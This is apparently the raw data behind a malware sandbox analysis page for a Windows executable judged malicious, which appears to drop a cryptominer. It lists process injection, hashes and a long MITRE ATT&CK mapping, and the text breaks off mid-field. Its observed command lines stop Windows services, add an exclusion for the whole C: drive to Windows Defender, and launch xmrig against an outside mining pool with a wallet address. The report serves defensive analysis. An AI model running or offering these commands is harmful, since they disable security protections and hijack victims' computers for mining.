"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "")5d:T636,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 928) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 928) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 972) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 972) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 956) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 956) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 000011C0 bytes to a remote process "C:\bin\xmrig.exe" (Handle: 1148) "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" wrote 00000008 bytes to a remote process "C:\bin\xmrig.exe" (Handle: 1148) "xmrig.exe" wrote 000011C0 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdate.exe" (Handle: 1000) "xmrig.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdate.exe" (Handle: 1000)5e:T587,Spawned process "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (UID: 00000000-00001548) Spawned process "net.exe" with commandline ""net" stop wuauserv" (UID: 00000000-00001396) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop wuauserv" (UID: 00000000-00009196) Spawned process "net.exe" with commandline ""net" stop WSearch" (UID: 00000000-00003740) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop WSearch" (UID: 00000000-00002296) Spawned process "net.exe" with commandline ""net" stop SysMain" (UID: 00000000-00004756) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop SysMain" (UID: 00000000-00001200) Spawned process "powershell.exe" with commandline ""powershell" -Command "Add-MpPreference -ExclusionPath 'C:\\'"" (UID: 00000000-00004556) Spawned process "xmrig.exe" with commandline "-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSXa8rjRivMYd2Gu3ZBe2PuoTzQ3U6SQwWuyAHsSm9paJPMzewb86VU817PNBUnhUSSe -p worker1_5431 -k --donate-level=1 --no-color --cpu-max-threads-hint=60" (UID: 00000000-00003544) Spawned process "OneDriveUpdate.exe" with commandline "-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSXa8rjRivMYd2Gu3ZBe2PuoTzQ3U6SQwWuyAHsSm9paJPMzewb86VU817PNBUnhUSSe -p worker1_5431 -k --donate-level=1 --no-color --cpu-max-threads-hint=60" (UID: 00000000-00005904)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790993930592,"unified_at":"2026-10-03T02:18:50.592Z","metadata":{"hashes":{"sha256":"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260","sha1":"a2c6ea56c098d29f0fea153975f1b025f52c2b00","md5":"3f0965d0594391dbe727bb86b5b121bb","sha512":"54f6aee735d879060b12d0242150d7c9bfdd8524a8c635f1e3cf838bd921ea97146d70cfa4929a5a35d1126817208060830e352f22bc91ec739506b5fc9ba329","ssdeep":"196608:gBsd3+XNqcBQ9KRIWGmX+/ufnHEI5DEzoJc1MF70baKw0PKPRiM3IVNEC7BwSN7x:BAXhBQ9KOo+ykZM1Aw0P0Rzq1tcX9QZ","ssdeep_chunks":["196608:gBsd3+X","196608:Bsd3+XN","196608:sd3+XNq","196608:d3+XNqc","196608:3+XNqcB","196608:+XNqcBQ","196608:XNqcBQ9","196608:NqcBQ9K","196608:qcBQ9KR","196608:cBQ9KRI","196608:BQ9KRIW","196608:Q9KRIWG","196608:9KRIWGm","196608:KRIWGmX","196608:RIWGmX+","196608:IWGmX+/","196608:WGmX+/u","196608:GmX+/uf","196608:mX+/ufn","196608:X+/ufnH","196608:+/ufnHE","196608:/ufnHEI","196608:ufnHEI5","196608:fnHEI5D","196608:nHEI5DE","196608:HEI5DEz","196608:EI5DEzo","196608:I5DEzoJ","196608:5DEzoJc","196608:DEzoJc1","196608:EzoJc1M","196608:zoJc1MF","196608:oJc1MF7","196608:Jc1MF70","196608:c1MF70b","196608:1MF70ba","196608:MF70baK","196608:F70baKw","196608:70baKw0","196608:0baKw0P","196608:baKw0PK","196608:aKw0PKP","196608:Kw0PKPR","196608:w0PKPRi","196608:0PKPRiM","196608:PKPRiM3","196608:KPRiM3I","196608:PRiM3IV","196608:RiM3IVN","196608:iM3IVNE","196608:M3IVNEC","196608:3IVNEC7","196608:IVNEC7B","196608:VNEC7Bw","196608:NEC7BwS","196608:EC7BwSN","196608:C7BwSN7","196608:7BwSN7x","393216:gBsd3+X","393216:Bsd3+XN","393216:sd3+XNq","393216:d3+XNqc","393216:3+XNqcB","393216:+XNqcBQ","393216:XNqcBQ9","393216:NqcBQ9K","393216:qcBQ9KR","393216:cBQ9KRI","393216:BQ9KRIW","393216:Q9KRIWG","393216:9KRIWGm","393216:KRIWGmX","393216:RIWGmX+","393216:IWGmX+/","393216:WGmX+/u","393216:GmX+/uf","393216:mX+/ufn","393216:X+/ufnH","393216:+/ufnHE","393216:/ufnHEI","393216:ufnHEI5","393216:fnHEI5D","393216:nHEI5DE","393216:HEI5DEz","393216:EI5DEzo","393216:I5DEzoJ","393216:5DEzoJc","393216:DEzoJc1","393216:EzoJc1M","393216:zoJc1MF","393216:oJc1MF7","393216:Jc1MF70","393216:c1MF70b","393216:1MF70ba","393216:MF70baK","393216:F70baKw","393216:70baKw0","393216:0baKw0P","393216:baKw0PK","393216:aKw0PKP","393216:Kw0PKPR","393216:w0PKPRi","393216:0PKPRiM","393216:PKPRiM3","393216:KPRiM3I","393216:PRiM3IV","393216:RiM3IVN","393216:iM3IVNE","393216:M3IVNEC","393216:3IVNEC7","393216:IVNEC7B","393216:VNEC7Bw","393216:NEC7BwS","393216:EC7BwSN","393216:C7BwSN7","393216:7BwSN7x","196608:BAXhBQ9","196608:AXhBQ9K","196608:XhBQ9KO","196608:hBQ9KOo","196608:BQ9KOo+","196608:Q9KOo+y","196608:9KOo+yk","196608:KOo+ykZ","196608:Oo+ykZM","196608:o+ykZM1","196608:+ykZM1A","196608:ykZM1Aw","196608:kZM1Aw0","196608:ZM1Aw0P","196608:M1Aw0P0","196608:1Aw0P0R","196608:Aw0P0Rz","196608:w0P0Rzq","196608:0P0Rzq1","196608:P0Rzq1t","196608:0Rzq1tc","196608:Rzq1tcX","196608:zq1tcX9","196608:q1tcX9Q","196608:1tcX9QZ"],"imphash":"b819c89ac9b569d0bbb77889674017b2"},"file_info":{"file_name":"file.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":25268810,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1767474639000,"last_seen":1767652633000,"last_multi_scan":1767652633000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["malicious","evasive"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":1},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":78},"sandbox_signatures":{"informative_count":196,"suspicious_count":19,"malicious_count":7,"total":222},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve type of COM object"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","identifiers":[{"type":"malicious","value":"References security related windows services"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","identifiers":[{"type":"suspicious","value":"Found TLS callbacks"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"YARA signature match - Anti Debugging Used"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"suspicious","value":"Tries to modify exclusion list using Powershell"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"malicious","value":"PE file contains executable resources"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file contains unusual section name"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"tactic":"Discovery","technique":"Process 